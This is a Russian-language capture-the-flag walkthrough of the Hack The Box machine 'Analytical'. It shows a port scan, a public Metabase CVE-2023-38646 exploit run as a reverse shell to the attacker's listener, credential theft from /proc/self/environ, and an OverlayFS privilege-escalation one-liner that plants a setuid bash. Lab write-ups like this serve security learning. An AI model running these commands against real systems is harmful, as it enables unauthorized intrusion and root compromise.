Обзор сервисов

Машине присвоен IP-адрес 10.10.11.233, проведем сканирование портов с помощью nmap:

$ nmap --privileged -sV -sC -sS -p- -oN nmap 10.10.11.233
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-07 22:07 GMT
Nmap scan report for 10.10.11.233
Host is up (0.048s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://analytical.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 701.58 seconds

Веб-сервис

Нам нужно добавить analytical.htb в /etc/hosts:

Alt text

$ sudo nano /etc/hosts
10.10.11.233 analytical.htb

Сервис выглядит следующим образом:

Alt text

Ссылка Login ведет на data.analytical.htb, также добавим этот домен в /etc/hosts.

Нас встречает Metabase, который уязвим к CVE-2023-38646. Воспользуемся публичным эксплоитом и получим реверс-шелл.

rlwrap nc -lnvp 4243
git clone https://github.com/securezeron/CVE-2023-38646
cd CVE-2023-38646
python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb --lhost 10.10.14.9 --lport 4243

Alt text

Сразу же взглянем в переменные среды и найдем креды.

$ cat /proc/self/environ
SHELL=/bin/shMB_DB_PASS=HOSTNAME=6d2b7800aa13LANGUAGE=en_US:enMB_JETTY_HOST=0.0.0.0JAVA_HOME=/opt/java/openjdkMB_DB_FILE=//metabase.db/metabase.dbPWD=/LOGNAME=metabaseMB_EMAIL_SMTP_USERNAME=HOME=/home/metabaseLANG=en_US.UTF-8META_USER=metalyticsMETA_PASS=A*******s_d******#MB_EMAIL_SMTP_PASSWORD=USER=metabaseSHLVL=4MB_DB_USER=FC_LANG=en-USLD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../libLC_CTYPE=en_US.UTF-8MB_LDAP_BIND_DN=LC_ALL=en_US.UTF-8MB_LDAP_PASSWORD=PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binMB_DB_CONNECTION_URI=JAVA_VERSION=jdk-11.0.19+7_=/tmp/s

Пробуем подключиться к SSH с этими кредами:

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

Воспользуемся CVE-2023-2640 и CVE-2023-32629 и поднимем привилегии.

Запишем эксплоит в файл s.sh:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /tmp/bash; chmod +s /tmp/bash")'
bash s.sh
rm s.sh
/tmp/bash -p

Alt text

Флаг суперпользователя

Alt text